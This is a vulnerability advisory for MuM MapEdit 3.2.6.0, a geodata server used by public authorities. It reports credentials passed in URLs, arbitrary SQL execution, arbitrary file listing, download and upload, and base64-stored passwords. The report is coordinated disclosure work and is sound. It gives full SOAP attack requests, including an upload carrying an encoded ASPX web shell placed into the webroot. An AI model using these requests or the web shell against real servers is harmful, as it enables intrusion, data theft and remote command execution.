389 lines
No EOL
24 KiB
Text
389 lines
No EOL
24 KiB
Text
# Security Advisory -- Multiple Vulnerabilities - MuM Map Edit
|
|
|
|
|
|
## Product
|
|
|
|
Vendor: Mensch und Maschine Software SE / Mensch und Maschine acadGraph GmbH
|
|
Product: MapEdit
|
|
Affected software version: 3.2.6.0
|
|
|
|
MuM MapEdit provides geodata to the internet and intranets and is deployed on several communal and
|
|
regional governmental infrastructures to provide geodata to the population. It consists of a
|
|
silverlight client and a C#.NET backend. The communication between them is HTTP/S based and involves
|
|
the NBFS (.NET Binary Format SOAP).
|
|
|
|
Link: http://www.mum.de/DE_Autodesk-Topobase-GIS-Datenerfassung-MuM-MapEdit.CAD
|
|
|
|
|
|
## Status/Metrics/Identifier
|
|
|
|
CVE-ID: tbd
|
|
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
|
|
CVSS Score: 9.0
|
|
|
|
The CVSS Score reflects the possibility of an attacker to upload web shells and execute them with
|
|
the privileges of the web server user.
|
|
|
|
## Author/Credits
|
|
|
|
Paul Baade (TÜV Rheinland i-sec GmbH)
|
|
Sven Krewitt (TÜV Rheinland i-sec GmbH)
|
|
|
|
|
|
## Fixed Versions
|
|
|
|
According to MuM all described vulnerabilities are fixed in version 6.2.74, some of them are reportedly
|
|
already fixed in version 5.1.
|
|
|
|
|
|
## Authentication via GET Parameter
|
|
The application requires users to provide their credentials via GET Parameters. They can therefore
|
|
possibly be found in server logs or proxy logs. An example URL would be:
|
|
|
|
/Mum.Geo.Services/Start.aspx?AutoUrl=1&Username=TEST&Password=TEST[...]
|
|
|
|
|
|
## Execution of arbitrary SQL commands on contained SQLite DBs
|
|
The application contains several SQLite databases. An authenticated user may send POST requests to
|
|
the URL /Mum.Geo.Services/DataAccessService.svc. This service is used to execute SQL queries
|
|
on the databases.
|
|
The content of the POST request is encoded in Microsofts NBFS (.NET Binary Format SOAP) and can be
|
|
decoded to the following XML data:
|
|
|
|
Request:
|
|
--------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:DataAccessService/QueryData</a:Action>
|
|
<a:MessageID>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:MessageID>
|
|
<a:SequenceAcknowledgement>
|
|
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
|
|
</a:SequenceAcknowledgement>
|
|
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/DataAccessService.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<QueryData>
|
|
<connection i:type="c:SQLiteConnection" xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess.SQLite">
|
|
<b:CurrentRepresentation>
|
|
<b:CollectionFeatureClassName/>
|
|
<b:Id>0</b:Id>
|
|
<b:LineFeatureClassName/>
|
|
<b:Name/>
|
|
<b:PointFeatureClassName/>
|
|
<b:PolygonFeatureClassName/>
|
|
</b:CurrentRepresentation>
|
|
<b:DbVersion>999</b:DbVersion>
|
|
<b:Id>0</b:Id>
|
|
<b:Name>SYSTEM</b:Name>
|
|
<b:StorageSchemaType>Unknown</b:StorageSchemaType>
|
|
<c:Filename>[path_to_MumGeoData]\System\System.db</c:Filename>
|
|
</connection>
|
|
<sql>select name, caption, version_systemdata from project where id in (select Project_id from usergroup_project where usergroup_id in (select usergroup_id from user_usergroup where user_id in (select id from user where name='TEST'))) order by caption</sql>
|
|
<queryDefinition xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:Columns/>
|
|
<b:SRID>0</b:SRID>
|
|
</queryDefinition>
|
|
<parameterNames xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
|
|
<parameterValues xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>
|
|
<startRow>1</startRow>
|
|
<bufferSize>2000</bufferSize>
|
|
<limit>0</limit>
|
|
</QueryData>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
The node "Filename" can be used to access different SQLite databases on the system, while the node
|
|
"sql" contains the SQL-query to be executed on the system.
|
|
Responses to this request are encoded in NBFS as well and can be decoded to the following XML data:
|
|
|
|
Response:
|
|
---------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:DataAccessService/QueryDataResponse</a:Action>
|
|
<a:RelatesTo>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:RelatesTo>
|
|
</s:Header>
|
|
<s:Body>
|
|
<QueryDataResponse>
|
|
<QueryDataResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess">
|
|
<c:Data>eNpjZAACZncXTwihYm6SlpiUammsa2hpaKlrkmhsrpuYamSpa2RkbGxpkZpsYZCSDAD4Jgsj</c:Data>
|
|
<c:FetchedAllRows>true</c:FetchedAllRows>
|
|
<c:ResultColumns>
|
|
<c:DbColumnDefinition>
|
|
<c:Caption>NAME</c:Caption>
|
|
<c:DataType>DbString</c:DataType>
|
|
<c:DefaultValue/>
|
|
<c:IsNullable>false</c:IsNullable>
|
|
<c:IsPrimaryKey>false</c:IsPrimaryKey>
|
|
<c:Length>255</c:Length>
|
|
<c:Name>NAME</c:Name>
|
|
<c:Precision>0</c:Precision>
|
|
<c:Scale>0</c:Scale>
|
|
</c:DbColumnDefinition>
|
|
<c:DbColumnDefinition>
|
|
<c:Caption>CAPTION</c:Caption>
|
|
<c:DataType>DbString</c:DataType>
|
|
<c:DefaultValue/>
|
|
<c:IsNullable>false</c:IsNullable>
|
|
<c:IsPrimaryKey>false</c:IsPrimaryKey>
|
|
<c:Length>255</c:Length>
|
|
<c:Name>CAPTION</c:Name>
|
|
<c:Precision>0</c:Precision>
|
|
<c:Scale>0</c:Scale>
|
|
</c:DbColumnDefinition>
|
|
<c:DbColumnDefinition>
|
|
<c:Caption>VERSION_SYSTEMDATA</c:Caption>
|
|
<c:DataType>DbString</c:DataType>
|
|
<c:DefaultValue/>
|
|
<c:IsNullable>true</c:IsNullable>
|
|
<c:IsPrimaryKey>false</c:IsPrimaryKey>
|
|
<c:Length>40</c:Length>
|
|
<c:Name>VERSION_SYSTEMDATA</c:Name>
|
|
<c:Precision>0</c:Precision>
|
|
<c:Scale>0</c:Scale>
|
|
</c:DbColumnDefinition>
|
|
</c:ResultColumns>
|
|
</b:Parameter>
|
|
<b:State>
|
|
<b:Tags>
|
|
<b:Item i:nil="true"/>
|
|
</b:Tags>
|
|
<b:ExceptionMessage/>
|
|
<b:StackTrace/>
|
|
<b:Succeeded>true</b:Succeeded>
|
|
</b:State>
|
|
</QueryDataResult>
|
|
</QueryDataResponse>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
The nodes "DbColumnDefinition" contain the definition of the returned columns, the node "Data"
|
|
contains the result of the SQL-query as an Base64-encoded zlib-compressed data:
|
|
|
|
GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc
|
|
|
|
The same result can be produced, when the database is locally read:
|
|
|
|
>sqlite3 System.db
|
|
|
|
sqlite> select name, caption, version_systemdata from project where id
|
|
in (select Project_id from usergroup_project where usergroup_id
|
|
in (select usergroup_id from user_usergroup where user_id
|
|
in (select id from user where name='TEST'))) order by caption;
|
|
|
|
GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc
|
|
|
|
|
|
## Arbitrary file manipulation
|
|
By sending POST requests to the URL /Mum.Geo.Services/IO.svc an authenticated user is able to
|
|
perform several actions.
|
|
Most interesting, from an attacker's point of view, would be the following:
|
|
- "GetFileName", which lists files in a given folder
|
|
- "DownloadFile", which enables the user to download any file the web server has read-access to
|
|
- "UploadFile", which allows to upload files to folders the web server has write-access to
|
|
|
|
The different activities are documented in the subsections below.
|
|
As well as in the SQL execution section, the request and response content is decoded from NBFS for
|
|
better readability.
|
|
|
|
### File exploration
|
|
An authenticated user is able to list all files in a given folder by sending the following content
|
|
to the IO Service.
|
|
|
|
Request:
|
|
--------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/GetFileNames</a:Action>
|
|
<a:MessageID>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:MessageID>
|
|
<a:SequenceAcknowledgement>
|
|
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
|
|
</a:SequenceAcknowledgement>
|
|
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<GetFileNames>
|
|
<path>[path_to_webroot]</path>
|
|
<searchPattern>*.*</searchPattern>
|
|
<recursive>false</recursive>
|
|
</GetFileNames>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
Response:
|
|
---------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/GetFileNamesResponse</a:Action>
|
|
<a:RelatesTo>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:RelatesTo>
|
|
</s:Header>
|
|
<s:Body>
|
|
<GetFileNamesResponse>
|
|
<GetFileNamesResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.IO">
|
|
<c:FileNames xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
|
|
<d:string>clientaccesspolicy.xml</d:string>
|
|
<d:string>crossdomain.xml</d:string>
|
|
<d:string>iisstart.htm</d:string>
|
|
<d:string>index.html</d:string>
|
|
<d:string>index.php</d:string>
|
|
<d:string>Thumbs.db</d:string>
|
|
<d:string>web.config</d:string>
|
|
<d:string>welcome.png</d:string>
|
|
</c:FileNames>
|
|
<c:Path>[path_to_webroot]</c:Path>
|
|
</b:Parameter>
|
|
<b:State>
|
|
<b:Tags>
|
|
<b:Item i:nil="true"/>
|
|
</b:Tags>
|
|
<b:ExceptionMessage/>
|
|
<b:StackTrace/>
|
|
<b:Succeeded>true</b:Succeeded>
|
|
</b:State>
|
|
</GetFileNamesResult>
|
|
</GetFileNamesResponse>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
### Download of arbitrary files
|
|
The same web service can be abused to download any file, that the web server user has read-access to.
|
|
|
|
Request:
|
|
--------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/DownloadFile</a:Action>
|
|
<a:MessageID>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:MessageID>
|
|
<a:SequenceAcknowledgement>
|
|
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
|
|
</a:SequenceAcknowledgement>
|
|
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<DownloadFile>
|
|
<filename>[path_to_webroot]\Mum.Geo.Services\Admin.html</filename>
|
|
</DownloadFile>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
Response:
|
|
---------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/DownloadFileResponse</a:Action>
|
|
<a:RelatesTo>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:RelatesTo>
|
|
</s:Header>
|
|
<s:Body>
|
|
<DownloadFileResponse>
|
|
<DownloadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Server.Core.IO" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:Data>77u/PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQogICAgPHRpdGxlPkFkbWluPC90aXRsZT4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyBVUkw9U3RhcnQuYXNweD9BZG1pbk1vZGU9dHJ1ZSIvPg0KPC9oZWFkPg0KPGJvZHk+DQogIDxwPjxhIGhyZWY9IlN0YXJ0LmFzcHg/QWRtaW5Nb2RlPXRydWUiPlN0YXJ0IE11bSBBZG1pbmlzdHJhdG9yPC9hPjwvcD4gDQo8L2JvZHk+DQo8L2h0bWw+DQo=</b:Data>
|
|
<b:FileNotFound>false</b:FileNotFound>
|
|
<b:IsComplete>true</b:IsComplete>
|
|
</DownloadFileResult>
|
|
</DownloadFileResponse>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
The node "Data" itself can be base64-decoded, to receive the file contents:
|
|
|
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
|
<head>
|
|
<title>Admin</title>
|
|
<meta http-equiv="refresh" content="0; URL=Start.aspx?AdminMode=true"/>
|
|
</head>
|
|
<body>
|
|
<p><a href="Start.aspx?AdminMode=true">Start Mum Administrator</a></p>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
### Upload of arbitrary files
|
|
The web service can be abused to upload a file to any folder, that the web server user has
|
|
write-access to.
|
|
|
|
Request:
|
|
--------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/UploadFile</a:Action>
|
|
<a:MessageID>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:MessageID>
|
|
<a:SequenceAcknowledgement>
|
|
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>
|
|
</a:SequenceAcknowledgement>
|
|
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<UploadFile>
|
|
<clientFilename/>
|
|
<serverFilename>[path_to_webroot]\MumGeoData\Userdata\GDI\isec.aspx</serverFilename>
|
|
<temporaryServerFilename>[path_to_MumGeoData]\Userdata\GDI\e41279bd-343d-48a1-a413-05e1b3c50f40\Bookmarks\Bookmarks.sod.tmp636008925231332626</temporaryServerFilename>
|
|
<data>eJyFk21P2zAQx9/nU5w8IbXalj4A29Qk1aANolJHK5qJaW+QkxwhW2JHtgNBE99956TdWEHsleN7/Pl/F//gM6x5hrDkIqvpI2CzNwzmGNdZwIyqkUGkeEL2G15ouh1MHZ+SFmUllYELXqKuWv/mQRss3XnOMyG1yRP9/+DFqovRicor8wQiIQhVC24CplHdoWJT507maQt7vZQ87cn4ByYGNIoU1TsI71CYE5VpwL7zy3l0tFG5yCBsktrgrEx7WwNXmQ1YK5mg1hvDlVmIGwmVziEAgfew7+r1PYe87lleoH0DhbGkTF1skHUe6luX1F9b1yAB9pa6dK5LTHNFoFRNpFylq9pUtaE4K24X8lXj5haLImzQspKv1drbMUJFpu2321L1KI2gNkYhLy+RkwKgTalSRZGV+28vbyeFpeuiXJsTyVCk9m1b26yQGu1doamVAO2Riq3o9Fhiu54VefJzX/ftJPfkv6RBS6HRvVK5wR7zK4VTRrX3HJt2uO65KYtQJDLF3t95mcYWdCNsTL//PJX5g13RR8cfdCtEu3QefVnaIzyZ02FyU+CU36MAritXoIF7jLWV2x90TkreBscyfQA6b6QqIU8DO2UGJZpbSZeKtvr5VvpUdmIZT2XT5nTYjJR+KGiTv79fXMzDbxMYDUceLMOzaAJHw+Oq8WC92iyixepiAjzWsqBnexCt1hMYD6tmvxNc5am5Ddj42Dqn/uBJ3y3FaW2MFB0E0h8oXqQY7yg+fHydYvTpBQrbMWDYDonBSrQ70Qr1Z0N2cB3Olm3JYyxatCIubJGX0A53aIej4esCjZ+jTWeyLGnvJ133tqGdrR2mPe1w21m3+/EbI5Kikw==</data>
|
|
<append>false</append>
|
|
<completed>true</completed>
|
|
</UploadFile>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
The "data" node contains a base64-encoded, zlib-packed aspx web shell. It can be used to issue
|
|
arbitrary commands on the compromised host.
|
|
|
|
Response:
|
|
---------
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">urn:IO/UploadFileResponse</a:Action>
|
|
<a:RelatesTo>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:RelatesTo>
|
|
</s:Header>
|
|
<s:Body>
|
|
<UploadFileResponse>
|
|
<UploadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:Parameter/>
|
|
<b:State>
|
|
<b:Tags>
|
|
<b:Item i:nil="true"/>
|
|
</b:Tags>
|
|
<b:ExceptionMessage/>
|
|
<b:StackTrace/>
|
|
<b:Succeeded>true</b:Succeeded>
|
|
</b:State>
|
|
</UploadFileResult>
|
|
</UploadFileResponse>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
|
|
|
|
## Base64 encoded Passwords
|
|
In the database file in \MumGeoData\System\System.db Passwords are stored in the tables "user" and
|
|
"connection". Both tables store their passwords in plain text with base64 encoding applied.
|
|
|
|
Example:
|
|
sqlite> select * from user where name='MUM';
|
|
<User GUID>|MUM|<base64 encoded password>|1||
|
|
|
|
|
|
## Remark about information disclosures
|
|
Observing the communication between a MapEdit Silverlight client and its backend server, various
|
|
information could be gathered, particularly file paths and license keys. Additionally the error
|
|
messages, that the server generates discloses quite a lot of information about the backend parsing
|
|
process.
|
|
|
|
|
|
## History
|
|
|
|
2016-06-07 Discovery of mentioned vulnerabilities
|
|
2016-06-09 First contact with MuM
|
|
2016-06-23 confirmation of mentioned vulnerabilities
|
|
2016-07-29 Release of version 6.2.74
|
|
2016-09-13 Public disclosure |